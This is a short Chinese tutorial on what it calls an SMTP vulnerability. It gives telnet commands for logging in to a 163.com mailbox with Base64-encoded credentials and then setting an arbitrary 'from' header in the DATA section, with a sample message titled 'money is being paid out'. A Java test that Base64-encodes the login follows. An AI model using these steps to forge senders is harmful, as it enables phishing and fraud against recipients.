Smtp邮件发送漏洞

在Linux上使用shell 登录自己的邮箱：

1、telnet smtp.163.com 25
2、ehlo  sas(此字符串随意)
3、auth login
4、U2htaWx5X*****=（usernameBase64转码）
5、MD***********yODUwbQ==（passwordBase64转码）
6、mail from:<Sh***@163.com>（此处必须和用户名相同，否则无法通过校验）
7、rcpt to:<[e-mail]>
8、data
9、from:<[e-mail]>（漏洞之处，此处的发件人可以任意指定）
     to:<[e-mail]> 
     subject:发钱了
希望你们都成功，我已经交代过了。
.（.代表内容结束）
10、quit

----------------------------------------------------------------------------

Base64加密代码：

@Test
public void base64(){
String name = "";
String pwd = "";
BASE64Encoder en = new BASE64Encoder();
name = en.encode(name.getBytes());
pwd = en.encode(pwd.getBytes());
System.err.println(name);
System.err.println(pwd);
}